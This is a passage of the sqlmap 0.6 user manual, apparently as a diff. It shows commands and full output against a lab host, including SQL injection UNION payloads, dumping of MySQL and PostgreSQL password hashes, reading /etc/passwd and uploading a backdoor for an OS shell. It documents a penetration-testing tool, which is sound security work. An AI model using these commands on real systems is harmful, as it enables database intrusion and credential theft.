+| 0 | precision,scale | numeric | 108 |
+| 0 | max length | varbinary | 165 |
+| 0 | precision,scale | decimal | 106 |
+| 1 | precision | numeric | 108 |
+| 0 | length | nchar | 239 |
+| 0 | max length | nvarchar | 231 |
+| 0 | length | binary | 173 |
+| 0 | max length | varchar | 167 |
+| 1 | precision | decimal | 106 |
++----------------+-----------------+-----------+-----------+
+
+[...]
+
+Database: master
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 2 | fluffy | bunny |
+| 1 | luther | blisset |
+| 3 | wu | ming |
+| 5 | NULL | nameisnull |
++----+--------------------------------------------+-------------------+
+
+[...]
+
+
+
+
+Note that on Microsoft SQL Server the master
database is not
+considered a system database because some database administrators use it
+as a users' database.
+
+
+Run your own SQL SELECT statement
+
+Options: --sql-query
and --sql-shell
+
+The SQL query and the SQL shell features makes the user able to run
+whatever SELECT
statement on the web application's back-end
+database management system and retrieve its output.
+
+Examples on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo'" -v 1
+
+[...]
+[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
+[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
+(CHAR(32)))
+[hh:mm:14] [INFO] retrieved: foo
+[hh:mm:14] [INFO] performed 27 queries in 0 seconds
+SELECT 'foo': 'foo'
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo', 'bar'" -v 1
+
+[...]
+[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
+[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
+distinct queries to be able to retrieve the output even if we are going blind
+[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
+(CHAR(32)))
+[hh:mm:50] [INFO] retrieved: foo
+[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
+(CHAR(32)))
+[hh:mm:50] [INFO] retrieved: bar
+[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+SELECT 'foo', 'bar': 'foo, bar'
+
+
+
+
+As you can see from this last example, sqlmap splits the query in two
+different SELECT
statement to be able to retrieve the output even
+in blind SQL injection technique.
+Otherwise in inband SQL injection technique it only perform a single HTTP
+request to get the user's query output:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo', 'bar'" -v 1 --union-use
+
+[...]
+[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
+[hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
+CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
++(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
+CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
+CHAR(116)), NULL-- AND 8373=8373
+[hh:mm:03] [INFO] performed 3 queries in 0 seconds
+SELECT 'foo', 'bar' [1]:
+[*] foo, bar
+
+
+
+
+Examples on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo' FROM dual"
+
+[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
+SELECT 'foo' FROM dual: 'foo'
+
+
+
+
+As you can see, if your SELECT
statement contains a FROM
+clause, sqlmap asks the user if such statement can return multiple entries
+and in such case the tool knows how to unpack the query correctly to
+retrieve its whole output line per line.
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT usename FROM pg_user"
+
+[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 2
+SELECT usename FROM pg_user [2]:
+[*] postgres
+[*] testuser
+
+
+
+
+As you can see, in the last example sqlmap counts the number of entries
+for your query and asks how many entries from the top you want to dump.
+Otherwise if you specify also the LIMIT
, or similar, clause
+sqlmap will not ask anything, just unpack the query and return its
+output.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM
+mysql.user LIMIT 1, 3'
+[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack
+it into distinct queries to be able to retrieve the output even if we are going blind
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: root
+[hh:mm:12] [INFO] performed 34 queries in 0 seconds
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: localhost
+[hh:mm:12] [INFO] performed 69 queries in 0 seconds
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:13] [INFO] performed 293 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: root
+[hh:mm:13] [INFO] performed 34 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: leboyer
+[hh:mm:13] [INFO] performed 55 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:14] [INFO] performed 293 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: root
+[hh:mm:14] [INFO] performed 34 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: 127.0.0.1
+[hh:mm:14] [INFO] performed 69 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:15] [INFO] performed 293 queries in 0 seconds
+SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
+[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+
+
+
+
+The SQL shell option gives you access to run your own SQL SELECT
+statement interactively, like a SQL console logged into the back-end
+database management system.
+This feature has TAB completion and history support.
+
+Example of history support on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> SELECT 'foo'
+SELECT 'foo': 'foo'
+
+sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
+sql> SELECT version()
+SELECT version(): 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3
+(Ubuntu 4.2.3-2ubuntu4)'
+
+sql> exit
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
+sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
+[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice:
+SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
+[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
+[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
+[*] testuser2,
+
+
+
+
+Example of TAB completion on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> [TAB TAB]
+AND ORD(MID((%s), %d, 1)) > %d
+CAST(%s AS CHAR(10000))
+COUNT(%s)
+CURRENT_USER()
+DATABASE()
+IFNULL(%s, ' ')
+LENGTH(%s)
+LIMIT %d, %d
+MID((%s), %d, %d)
+ORDER BY %s ASC
+SELECT %s FROM %s.%s
+SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
+table_schema='%s'
+SELECT grantee FROM information_schema.USER_PRIVILEGES
+SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
+SELECT schema_name FROM information_schema.SCHEMATA
+SELECT table_schema, table_name FROM information_schema.TABLES
+SELECT user, password FROM mysql.user
+VERSION()
+sql> SE[TAB]
+sql> SELECT
+
+
+
+
+As you can see the TAB functionality shows the queries defined for the
+back-end database management system in sqlmap XML queries file, but you
+can run whatever SELECT
statement that you want.
+
+Example of asterisk expansion on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \
+ -v 1
+
+[...]
+[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
+sql> SELECT * FROM test.users
+[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
+[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column
+names itself.
+[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
+[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116)
+[hh:mm:48] [INFO] retrieved: 3
+[hh:mm:48] [INFO] performed 13 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116) LIMIT 0, 1
+[hh:mm:48] [INFO] retrieved: id
+[hh:mm:48] [INFO] performed 20 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116) LIMIT 1, 1
+[hh:mm:48] [INFO] retrieved: name
+[hh:mm:48] [INFO] performed 34 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116) LIMIT 2, 1
+[hh:mm:48] [INFO] retrieved: surname
+[hh:mm:48] [INFO] performed 55 queries in 0 seconds
+[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
+[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
+[hh:mm:04] [INFO] retrieved: 5
+[hh:mm:04] [INFO] performed 13 queries in 0 seconds
+[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 3
+[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: 1
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: luther
+[hh:mm:09] [INFO] performed 48 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: blissett
+[hh:mm:09] [INFO] performed 62 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: 2
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: fluffy
+[hh:mm:09] [INFO] performed 48 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: bunny
+[hh:mm:09] [INFO] performed 41 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: 3
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: wu
+[hh:mm:09] [INFO] performed 20 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: ming
+[hh:mm:10] [INFO] performed 34 queries in 0 seconds
+SELECT * FROM test.users [3]:
+[*] 1, luther, blissett
+[*] 2, fluffy, bunny
+[*] 3, wu, ming
+
+
+
+
+As you can see in this last example, if the SELECT
statement has
+an asterisk instead of the column(s) name, sqlmap first retrieves the
+column names of the table then asks if the query can return multiple
+entries and goes on.
+
+
+
+
+Read a specific file content
+
+Option: --read-file
+
+If the back-end database management system is MySQL and the current user
+has access to the LOAD_FILE()
function, it is possible to read
+the content of a specific file from the file system.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
+ --read-file /etc/passwd
+
+/etc/passwd:
+---
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/false
+backup:x:34:34:backup:/var/backups:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
+postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
+---
+
+
+
+
+
+
+
+Prompt for an interactive operating system shell
+
+Option: --os-shell
+
+If the back-end database management system is MySQL, the web application's
+programming language is PHP and you, or sqlmap itself, found a writable
+directory within the web server document root path, sqlmap can prompt for
+an interactive operating system shell on the back-end database management
+system.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
+ --os-shell
+
+[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
+[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
+[hh:mm:49] [INPUT] please provide the web server document root [/var/www]:
+[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that
+you want sqlmap to try to upload the agent [/var/www/test]:
+[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands
+right now? [Y/n] y
+$ id
+uid=33(www-data) gid=33(www-data) groups=33(www-data)
+$ exit
+
+
+
+
+As you might notice, such operating system shell has the same
+functionalities of SQL shell.
+
+
+
+
+Test for UNION SELECT query SQL injection
+
+Option: --union-test
+
+It is possible to test if the target URL is affected by an inband
+SQL injection vulnerability.
+Refer to the Techniques section for details on this SQL injection
+technique.
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: Oracle
+
+[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
+NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
+NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
+
+
+
+
+As you can see, the target URL parameter id
might be also
+affected by an inband SQL injection.
+In case this vulnerability is exploitable it is strongly recommended to
+use it.
+
+Use the UNION SELECT query SQL injection
+
+Option: --union-use
+
+Providing the --union-use
parameter, sqlmap will first test if
+the target URL is affected by an inband SQL injection
+(--union-test
) vulnerability then, in case it is vulnerable and
+exploitable, it will trigger this vulnerability to retrieve the output of
+the SELECT
queries.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
+ --union-use --banner
+
+[...]
+back-end DBMS: Microsoft SQL Server 2000
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
+CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
+CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
+[hh:mm:42] [INFO] performed 3 queries in 0 seconds
+banner:
+---
+Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+
+
+As you can see, the vulnerable parameter (id
) is affected by both
+blind SQL injection and exploitable inband SQL injection vulnerabilities.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
+ --union-use --banner
+
+[...]
+[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
+IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
+AND 6043=6043
+[hh:mm:25] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
+%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
+%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
+06043=6043&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Mon, 28 Jul 2008 22:34:25 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 194
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
+</table>
+</body></html>
+
+[hh:mm:25] [INFO] performed 3 queries in 0 seconds
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+
+As you can see, the MySQL version()
function (banner) output is
+nested (inband) within the HTTP response page, this makes the inband SQL
+injection exploitable.
+
+
+Estimated time of arrival
+
+Option: --eta
+
+It is possible to calculate and show the estimated time of arrival to
+retrieve each query output in real time while performing the SQL injection
+attack.
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \
+ --eta -v 1
+
+[...]
+back-end DBMS: Oracle
+
+[hh:mm:24] [INFO] fetching banner
+[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
+output again
+[hh:mm:24] [INFO] retrieved the length of query output: 64
+[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
+WHERE ROWNUM=1
+77% [=======================================> ] 49/64 ETA 00:00
+
+
+
+
+then:
+
+
+
+100% [====================================================] 64/64
+[hh:mm:15] [INFO] performed 454 queries in 2 seconds
+banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \
+ --users --eta -v 1
+
+[...]
+back-end DBMS: Microsoft SQL Server 2000
+
+[hh:mm:57] [INFO] fetching database users
+[hh:mm:57] [INFO] fetching number of database users
+[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)),
+(CHAR(32))) FROM master..syslogins
+[hh:mm:57] [INFO] retrieved: 3
+[hh:mm:57] [INFO] performed 13 queries in 0 seconds
+[hh:mm:57] [INFO] retrieved the length of query output: 22
+[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
+master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name)
+ORDER BY name
+100% [====================================================] 22/22
+[hh:mm:58] [INFO] performed 160 queries in 0 seconds
+[hh:mm:58] [INFO] retrieved the length of query output: 2
+[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
+master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name)
+ORDER BY name
+100% [====================================================] 2/2
+[hh:mm:59] [INFO] performed 20 queries in 0 seconds
+[hh:mm:59] [INFO] retrieved the length of query output: 25
+[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
+master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name)
+ORDER BY name
+100% [====================================================] 25/25
+[hh:mm:00] [INFO] performed 181 queries in 1 seconds
+database management system users [3]:
+[*] BUILTIN\Administrators
+[*] sa
+[*] W2KITINQUIS\Administrator
+
+
+
+
+As you can see, sqlmap first calculates the length of the query output,
+then estimated the time of arrival, shows the progress in percentage and
+counts the number of retrieved query output characters.
+
+
+Update sqlmap to the latest stable version
+
+Option: --update
+
+
+It is possible to update sqlmap to the latest stable version available on
+its
+SourceForge File List page by running it with the
+--update
option.
+
+
+
+$ python sqlmap.py --update -v 4
+
+[hh:mm:53] [DEBUG] initializing the configuration
+[hh:mm:53] [DEBUG] initializing the knowledge base
+[hh:mm:53] [DEBUG] cleaning up configuration parameters
+[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:53] [DEBUG] creating HTTP requests opener object
+[hh:mm:53] [INFO] updating sqlmap
+[hh:mm:53] [DEBUG] checking if a new version is available
+[hh:mm:55] [TRAFFIC OUT] HTTP request:
+GET /doc/VERSION HTTP/1.1
+Host: sqlmap.sourceforge.net
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 01 Aug 2008 14:50:55 GMT
+Server: Apache/1.3.33 (Unix) PHP/4.3.10
+Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
+ETag: "9fcc53e-4-48919d9b"
+Accept-Ranges: bytes
+Content-Length: 4
+Connection: close
+Content-Type: text/plain
+X-Pad: avoid browser bug
+
+[hh:mm:55] [INFO] you are already running sqlmap latest stable version
+[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
+[hh:mm:56] [TRAFFIC OUT] HTTP request:
+GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
+Host: www.sqlsecurity.com
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
+language=en-US
+Connection: close
+
+[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
+Cache-Control: private
+Connection: close
+Date: Fri, 01 Aug 2008 14:50:50 GMT
+Content-Length: 167918
+Content-Type: text/html; charset=utf-8
+Server: Microsoft-IIS/6.0
+X-Powered-By: ASP.NET
+X-AspNet-Version: 2.0.50727
+Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
+expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
+Set-Cookie: language=en-US; path=/; HttpOnly
+
+[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
+[hh:mm:02] [DEBUG] parsing XML queries file
+
+
+
